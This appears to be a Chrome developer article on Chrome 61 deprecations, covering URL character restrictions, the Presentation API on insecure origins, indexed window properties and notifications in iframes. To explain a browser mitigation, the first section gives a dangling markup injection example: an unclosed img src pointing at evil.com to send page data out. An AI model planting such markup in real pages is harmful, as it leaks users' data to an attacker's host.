In nearly every version of Chrome, we see a significant number of updates and improvements to the product, its performance, and also capabilities of the Web Platform. This article describes the deprecations and removals in Chrome 61, which is in beta as of August 3. This list is subject to change at any time.
Security and Privacy
Block resources whose URLs contain '\n' and '<' characters
There is a type of hacking called dangling markup injection in which a
truncated URL is used to send data to an external endpoint. For example,
consider a page containing <img src='https://evil.com/?. Because the URL has no
closing quote, browsers will read to the next quote that occurs and treat the
enclosed characters as if it were a single URL.
Chrome 61 mitigates this vulnerability by restricting the character sets
allowed in href and src attributes. Specifically, Chrome will stop
processing URLs when it encounters new line characters (\n) and less than
characters (<).
Developers with a legitimate use case for new line and less than characters in a URL should instead escape these characters.
Intent to Remove | Chromestatus Tracker | Chromium Bug
Deprecate and remove Presentation API on insecure contexts
It's been found that on insecure origins, the Presentation API can be used as a hacking vector on insecure origins. Since displays don't have address bars the API can be used to spoof content. It's also possible to exfiltrate data from running presentation.
In aligning with Blink’s intention to remove powerful features on insecure origins, we plan to deprecate and
remove support for the Presentation API on insecure contexts. Starting in Chrome
61, PresentationRequest.start() will no longer function on insecure origins.
Intent to Remove | Chromestatus Tracker | Chromium Bug
JavaScript
Disallow defining of indexed properties on windows
Previously some browsers allowed for JavaScript assignments like the following:
window[0] = 1;
The current HTML spec notes that this is an explicit violation of the JavaScript spec. As such, this ability is removed in Chrome 61. As of February 2016, Firefox is already in compliance.
Remove usage of notifications from insecure iframes
Permission requests from iframes can confuse users since it is difficult to distinguish between the containing page's origin and the origin of the iframe that is making the request. When the requests scope is unclear, it is difficult for users to judge whether to grant or deny permission.
Disallowing notifications in iframes will also align the requirements for notification permission with that of push notifications, easing friction for developers.
Developers who need this functionality can open a new window to request notification permission.